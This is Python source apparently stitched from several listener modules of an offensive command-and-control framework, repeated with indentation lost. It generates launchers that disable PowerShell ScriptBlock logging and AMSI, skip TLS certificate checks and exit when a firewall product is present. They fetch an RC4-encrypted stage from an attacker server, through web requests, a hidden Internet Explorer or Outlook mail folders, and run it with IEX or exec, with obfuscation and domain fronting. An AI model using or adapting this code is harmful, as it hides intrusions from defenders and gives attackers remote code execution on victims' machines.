profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
payload = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
payload = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
payload += helpers.randomize_capitalization(
"$GPF=[ref].Assembly.GetType(")
payload += "'System.Management.Automation.Utils'"
payload += helpers.randomize_capitalization(
").\"GetFie`ld\"(")
payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
payload += helpers.randomize_capitalization(
");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
payload += "['ScriptB'+'lockLogging']"
payload += helpers.randomize_capitalization("){$GPC")
payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
payload += helpers.randomize_capitalization("$GPC")
payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
payload += helpers.randomize_capitalization(
"$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add"
)
payload += "('EnableScriptB'+'lockLogging',0);"
payload += helpers.randomize_capitalization("$val.Add")
payload += "('EnableScriptBlockInvocationLogging',0);"
payload += helpers.randomize_capitalization("$GPC")
payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
payload += helpers.randomize_capitalization("=$val}")
payload += helpers.randomize_capitalization(
"Else{[ScriptBlock].\"GetFie`ld\"(")
payload += "'signatures','N'+'onPublic,Static'"
payload += helpers.randomize_capitalization(
").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}"
)
# @mattifestation's AMSI bypass
payload += helpers.randomize_capitalization(
"[Ref].Assembly.GetType(")
payload += "'System.Management.Automation.AmsiUtils'"
payload += helpers.randomize_capitalization(
')|?{$_}|%{$_.GetField(')
payload += "'amsiInitFailed','NonPublic,Static'"
payload += helpers.randomize_capitalization(
").SetValue($null,$true)};")
payload += "};"
payload += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
payload += helpers.randomize_capitalization(
"$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
payload += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
payload += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
payload += helpers.randomize_capitalization(
'$wc.Headers.Add(')
payload += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
payload += helpers.randomize_capitalization(
"$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
payload += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy;")
payload += helpers.randomize_capitalization(
"$proxy.Address = '" + proxy.lower() + "';")
payload += helpers.randomize_capitalization(
"$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
payload += helpers.randomize_capitalization(
"$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
payload += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
payload += helpers.randomize_capitalization(
"$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement payload retries?
# code to turn the key string into a byte array
payload += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
payload += "'%s');" % (stagingKey)
# this is the minimized RC4 payload code from rc4.ps1
payload += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
payload += helpers.randomize_capitalization("$wc.Headers.Add(")
payload += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
payload += "$ser='%s';$t='%s';" % (host, stage0)
payload += helpers.randomize_capitalization(
"$data=$WC.DownloadData($ser+$t);")
payload += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
payload += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
payload = helpers.obfuscate(
self.mainMenu.installPath,
payload,
obfuscationCommand=obfuscationCommand)
# base64 encode the payload and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(payload, launcher)
else:
# otherwise return the case-randomized payload
return payload
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if 'https' in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "import urllib2\n"
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
b64RoutingPacket)
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the payload and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
)
else:
print helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid listener name specification!"
)
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http_hop generate_launcher(): no language specified!')
if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# @mattifestation's AMSI bypass
stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
stager += "$u='"+userAgent+"';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
# TODO: implement form for other proxy credentials
pass
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if 'https' in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
launcherBase += "import urllib2\n"
launcherBase += "if urllib2.getproxies():\n"
launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color("[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")
else:
print helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!")
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/http generate_launcher(): no language specified!'
)
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization(
"$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(
").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization(
"$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add"
)
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization(
"Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}};"
)
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization(
'Add-Type -assembly "Microsoft.Office.Interop.Outlook";'
)
stager += "$outlook = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization(
'$mapi = $Outlook.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email'][
'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '")};'
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email']['Value'] + '"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '");'
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization(
"while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}"
)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
'$mail = $outlook.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(
';$mail.save() | out-null;')
stager += helpers.randomize_capitalization(
'$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization(
'$break = $False; $data = "";')
stager += helpers.randomize_capitalization(
"While ($break -ne $True){")
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;'
)
stager += helpers.randomize_capitalization(
'$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}'
)
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)
else:
print helpers.color(
"[!] listeners/http_mapi generate_launcher(): invalid listener name specification!"
)
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization("$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a header location
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % (b64RoutingPacket)
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser='%s';$t='%s';" % (host, stage0)
# add the RC4 packet to a header location
stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
#Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
stager += "`r`n%s: %s" % (headerKey, headerValue)
stager += "\";"
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};")
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
